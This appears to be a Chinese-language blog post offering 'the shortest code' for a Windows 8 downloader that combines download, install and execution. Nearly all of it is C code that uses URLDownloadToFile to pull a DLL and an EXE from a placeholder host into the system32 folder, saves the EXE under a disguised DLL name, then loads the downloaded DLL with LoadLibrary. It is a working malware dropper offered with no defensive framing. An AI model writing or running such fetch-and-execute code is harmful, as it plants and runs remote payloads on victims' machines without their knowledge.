最短代码实现windows8下的下载器-下载安装执行一体化

最后更新于:2022-04-01 10:27:48

请见代码 ~~~ #include "stdafx.h" #include "windows.h" #include "UrlMon.h" #pragma comment(lib, "urlmon.lib") bool FileIsExist(LPCTSTR szFileFullPathName) { WIN32_FIND_DATA Win32_Find_Data; HANDLE hFindFile; hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data); if(INVALID_HANDLE_VALUE == hFindFile) { //AfxMessageBox("Not Exist"); return false; } else { //AfxMessageBox("Have Exist"); FindClose(hFindFile); return true; } } int main(int argc, char* argv[]) { char DownURL[255] = "http://www.domain.com/test.dll"; char DownLoadDir[255]; char ExeURL[255] = "http://www.domain.com/test.exe"; char ExeDir[255]; GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir)); GetWindowsDirectory(ExeDir,sizeof(ExeDir)); strcat(DownLoadDir,"\\system32\\DLLtest.dll"); strcat(ExeDir,"\\system32\\MyLogin.dll"); URLDownloadToFile(0,ExeURL,ExeDir,0,NULL); Sleep(3000); URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL); while(true) { if(FileIsExist(DownLoadDir) == true) break; else Sleep(1000); } Sleep(3000); LoadLibrary(DownLoadDir); Sleep(10000); return 0; } ~~~
';